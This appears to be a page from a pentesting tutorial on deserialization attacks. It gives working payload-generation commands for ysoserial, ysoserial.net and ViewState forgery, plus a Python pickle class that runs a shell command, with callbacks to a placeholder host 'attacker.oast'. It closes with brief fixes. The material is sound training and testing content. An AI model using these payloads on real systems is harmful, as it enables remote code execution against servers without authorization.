Insecure Deserialization: From Serialized Blob to Remote Code Execution

Exploiting Deserialization with Tools

Using ysoserial for Java, ysoserial.net and viewgen for .NET, and hand-rolling Python pickle payloads, with encoding, delivery, and blind confirmation.

Published

Hand-building a gadget chain is hard. The tools make it a one-liner. This page covers ysoserial, ysoserial.net, viewgen, and pickle payloads, plus encoding, delivery, and the out-of-band confirmation that blind targets require. Use them only on authorized targets. Practice on a free live target.

ysoserial for Java

ysoserial carries a catalogue of Java gadget chains and emits a serialized payload for the one you pick:

# list every available chain
java -jar ysoserial.jar
 
# generate a Commons Collections chain running a command, base64 for a cookie
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.oast' | base64 -w0
 
# other chains to try depending on the classpath
#   CommonsCollections1..7, CommonsBeanutils1, Spring1/2, Hibernate1, ROME, Jdk7u21

Deliver the base64 through the deserialized carrier and confirm out of band.

ysoserial.net and viewgen for .NET

ysoserial.net is the .NET counterpart, with ViewState support when you know the machine key:

# ViewState with a known machine key
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping attacker.oast" \
  --generator=CA0B0334 --validationkey=<KEY> --validationalg=HMACSHA256 --path="/page.aspx" --apppath="/"
 
# raw BinaryFormatter gadget, base64 output
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping attacker.oast" -o base64

viewgen is a lighter tool focused on crafting and validating ViewState specifically.

Hand-rolling a Python pickle

Python needs no framework, just the __reduce__ trick:

import pickle, base64, os
 
class RCE:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.oast',))
 
print(base64.b64encode(pickle.dumps(RCE())).decode())
# base64 for a carrier the app decodes; a raw pickle.loads(bytes) sink takes pickle.dumps() directly

PHPGGC does the equivalent for PHP framework gadget chains, generating a serialized POP chain for Laravel, Symfony, Monolog, and others.

Encoding and transport

The raw payload rarely goes on the wire unchanged:

base64        almost always, for binary Java/.NET/pickle blobs
URL-encode    when the carrier is a query/body parameter
cookie-encode  escape so it survives the Cookie header
gzip/deflate   match the app if it expects compressed serialized data

Encode in the order the app decodes: usually serialize, then base64, then URL or cookie encoding.

Blind delivery and confirmation

Assume blind. Confirm execution with a signal that does not need output:

DNS/HTTP OOB   command contacts <id>.oast; a received pingback proves RCE
timing         'sleep 10' makes the response measurably slower

Only after a callback confirms the chain works should you run a real command, and only on a target you are authorized to test. These tools are for pentesting engagements, CTFs, and WebVerse labs, not for systems you do not own.

Edge variants

multiple chains   cycle CommonsCollections1..7 until one calls back
URLDNS chain      ysoserial's URLDNS proves deserialization via a DNS lookup, no RCE needed
viewgen vs ysoserial.net   viewgen for quick ViewState, ysoserial.net for the full gadget set

ysoserial's URLDNS chain is a great first probe: it triggers a DNS lookup on deserialization without needing a gadget library, so it confirms the sink exists even when no RCE chain fits yet.

Fixing it

  • Remove the sink. None of these tools matter if the app does not deserialize untrusted data.
  • Allow-list classes so a generated gadget cannot instantiate its chain.
  • Patch and trim gadget libraries so known chains stop working.

Full guidance is in preventing insecure deserialization. For every payload in one place, see the cheat sheet, or try the tools on a free lab.

← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution